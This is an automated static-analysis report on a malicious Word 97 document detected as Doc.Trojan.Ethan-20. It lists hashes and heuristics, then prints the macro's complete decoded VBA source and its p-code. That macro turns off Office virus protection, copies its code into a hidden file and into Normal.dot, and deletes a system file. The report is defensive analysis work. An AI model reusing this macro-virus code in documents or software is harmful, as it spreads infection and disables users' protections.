Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42c918f883f0fa33…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-06-24 23:31:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-29
MD5: 8216711c9350055d088a5fe9c254b570 SHA-1: d8aa18eedd17513fc4108cf6276270a940f3d688 SHA-256: 42c918f883f0fa33ebfc44ce85d888530de7063f22ea629579e1a26db73c433c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The macros attempt to disable virus protection and replicate themselves to the Normal.dot template, indicating a self-propagation or persistence mechanism. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports its malicious nature. The specific intent appears to be to embed malicious code within the Normal.dot template for future documents.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        t.CodeModule.InsertLines i, a

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5684 bytes
SHA-256: 305ecef685ce10b1c47a3c14852619b1c3e5aa9786f6ed866fbe83c22a4d6dcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\pagefile.dat", 6) = "" Then
    Open "c:\pagefile.dat" For Output As #1
    For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
        Print #1, a
    Next i
    Close #1
    SetAttr "c:\pagefile.dat", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
    t = ""
End If
If t <> "" Then
Open "c:\pagefile.dat" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub


' Processing file: /opt/analyzer/scan_staging/1ca39317081f415b84918b55884cedf1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3283 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #12:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #15:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #16:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #17:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	ElseIfBlock 
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #19:
' 	ElseBlock 
' Line #20:
' 	LitStr 0x0000 ""
' 	St t 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	Ld t 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #23:
' 	LitStr 0x000F "c:\pagefile.dat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #24:
' 	LitDI2 0x0001 
' 	ArgsLd LOF 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo q 
' 	EndIf 
' Line #25:
' 	LitDI2 0x0001 
' 	St i 
' Line #26:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	Not 
' 	DoWhile 
' Line #27:
' 	LitDI2 0x0001 
' 	Ld a 
' 	LineInput 
' Line #28:
' 	Ld i 
' 	Ld a 
' 	Ld t 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #29:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #30:
' 	Loop 
' Line #31:
' 	Label q 
' Line #32:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #33:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	Ld s 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld s 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	EndIf 
' Line #36:
' 	EndSub 
' Line #37:

Open this report in the interactive analyzer, or submit your own file for analysis.